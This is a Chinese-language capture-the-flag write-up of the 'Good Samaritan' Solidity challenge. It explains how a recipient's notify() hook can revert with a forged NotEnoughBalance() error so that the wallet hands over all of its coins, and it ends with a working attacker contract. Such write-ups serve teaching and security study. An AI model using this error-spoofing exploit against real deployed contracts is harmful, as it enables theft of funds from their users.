Good Samaritan
题目
要求：GoodSamaritan的wallet有很多钱，将其设置为0
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| // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
|
分析
题目的大概意思是：有一种代币coin，然后GoodSamaritan拥有一个钱包，这个钱包存有很多coin。GoodSamaritan很慷慨，可以给别人钱，但是每次只能给10元，我们得想办法一次性偷走它的所有钱。
这个向GoodSamaritan要钱的方法是一次申请10元，如果失败，则取走所有钱。本意是不够10元的时候拿走剩余的钱。那么我们可以在donate10()直接给他报错进入catch，就可以拿走所有钱了。
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| function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
|
如果余额大于10元，那么就会转账10元
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| function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
|
进入到coin，在转账的时候，会调用转账目标地址的notify()函数，这是一个钩子函数，挺常见的。但是这里就存在大问题了，典型的未知合约位置方法实现，notify()可控。如果我们在notify中直接触发一个error，那么在requestDonation()中就会捕获到错误，然后转出剩下所有的钱，注意，报错的内容要是NotEnoughBalance()。
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| function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
|
那么实现可以是下面这样。注意了，当我们调用transferRemainder()转走所有coin的时候也会调用钩子函数，因此需要判断条件，不能直接revert。
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| function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
|
解题
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| // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;
interface IGoodSamaritan {
function requestDonation() external returns (bool);
}
contract attacker {
error NotEnoughBalance();
function attack(address _addr) external {
IGoodSamaritan(_addr).requestDonation();
}
function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
}
|
攻击流程
成功
